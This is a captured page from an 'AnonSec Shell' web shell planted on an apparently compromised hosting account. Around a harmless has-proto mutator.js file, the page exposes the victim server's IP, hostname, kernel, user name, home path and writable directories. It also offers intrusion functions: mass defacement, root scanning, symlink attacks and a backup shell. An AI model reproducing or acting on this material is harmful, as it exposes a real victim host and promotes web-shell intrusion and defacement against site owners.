AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 13.59.153.218   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/allssztx/needapair.com/node_modules/has-proto/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/home/allssztx/needapair.com/node_modules/has-proto/mutator.js
'use strict';

var result = require('./')();

var test = {
	__proto__: null,
	foo: {}
};

var setter = require('./helpers/setDunder');

/** @type {import('./mutator')} */
module.exports = function hasMutator() {
	if (!result) {
		return false;
	}

	var obj = { __proto__: test };
	// @ts-expect-error: TS errors on an inherited property for some reason
	if (obj.foo !== test.foo) {
		return false;
	}

	if (!setter) {
		return false;
	}

	setter(obj, null);
	if ('foo' in obj || 'toString' in obj) {
		return false;
	}
	return true;
};

Anon7 - 2022
AnonSec Team